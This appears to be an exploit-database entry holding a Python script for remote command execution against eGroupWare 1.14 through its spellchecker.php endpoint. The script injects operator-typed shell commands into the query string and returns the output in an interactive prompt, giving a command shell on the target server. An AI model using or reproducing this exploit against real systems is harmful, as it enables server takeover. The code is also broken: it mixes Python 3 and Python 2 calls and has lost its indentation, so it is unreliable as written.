eGroupWare 1.14 Remote Command Execution

`# Exploit Title: eGroupWare 1.14 - 'spellchecker.php' Remote Command Execution  
# Date: 2020-07-27  
# Exploit Author: Berk KIRAS  
# Vendor Homepage: https://www.egroupware.org/en/  
# Version: 1.14  
# Tested on: Apache  
# Berk KIRAS PwC - Cyber Security Specialist   
  
  
#!/usr/bin/python3  
  
import requests  
import sys  
import threading  
import urllib  
  
def send_req(command):  
#Headers  
my_datas_headers ={  
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",  
"Accept": "text/javascript, text/html, application/xml, text/xml, */*",  
"Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",  
"Accept-Encoding": "gzip, deflate",  
"Content-type": "application/json; charset=UTF-8",  
"Connection": "close",  
}  
#If you want to edit and add headers some headers added  
s = requests.session()  
#if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}  
s.headers.update(my_datas_headers)  
params={"q":"||"+command+"||"}  
command_encoded = urllib.urlencode(params)  
command_encoded = command_encoded.split("=")[1]  
r = s.get(sys.argv[1]+"://"+sys.argv[2]+"/egroupware/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/"+"spellchecker.php?spellchecker_lang=egroupware_spellchecker_cmd_exec.nasl"+command_encoded)  
return r.content  
  
def main():  
if(len(sys.argv) < 3):   
print("Usage:exploit.py <http/s> <IP> ")  
sys.exit(0)  
else:  
try:  
while True:  
cmd = raw_input("CMD_>")  
resp=send_req(cmd).split(";")[5].split("2>&1")[1]  
print(resp)  
  
except Exception:  
print(Exception)  
  
main()  
`